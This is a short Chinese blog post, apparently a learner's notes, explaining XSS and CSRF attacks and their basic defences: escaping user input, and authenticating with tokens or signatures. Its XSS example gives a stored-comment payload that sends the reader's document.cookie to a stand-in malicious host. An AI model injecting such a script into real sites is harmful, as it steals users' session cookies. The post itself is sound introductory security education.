XSS攻擊和CSRF 攻擊

前言： 最近在看web網絡安全的知識， 恰好看到了 XSS 和CSRF ， 就上來記錄下， 也算增強下本身的理解，理解不到位的地方請各位大神多多指正啊 ！

---

XSS: 跨站腳本攻擊 ； 這個仍是比較好理解哈 ！ 就是在你的網站上植入一些惡意的腳本，經過一些腳本 能夠把想要的信息偷出來哈 。

舉個例子： 好比你去某博客上寫評論。評論寫了這樣<script>window.open('www.eyi.com?cookie' +document.cookie)</script> 一段代碼, 而後存到數據庫；當別人去看你這個評論的時候 ，直接從服務器下載下來，前端若是直接解析的話， 就會把你的cookie的相關信息偷出來 。
那如何避免你， 通常都是給用用輸入的信息進行轉義。切記 不能直接用js進行解析。

CSRF：跨站請求僞造 。 這個主要是利用了瀏覽器會自動帶上cookie 的機制。目前不少服務仍是用cookie 來作身份認證的 。

舉個列子： 當你在A網站登入了以後。 那每次請求A網站，瀏覽器會自動帶上cookie作身份認證， 服務會返回數據。 若是在當前瀏覽器你有打開的第三方網站， 若是這網站也有接口是訪問A網站的 ， 那麼瀏覽器也會自動帶上cookie，這個時候服務器也會把這個請求當作你登入的請求，而後結果可想而知了 。。。。。

如何避免：使用token 作身份認證。或是用簽名也能夠了。

好了！ 今天就寫到這裏 ， 喜歡的同窗點個贊！ 寫的很差的地方 還望各位大佬指正哈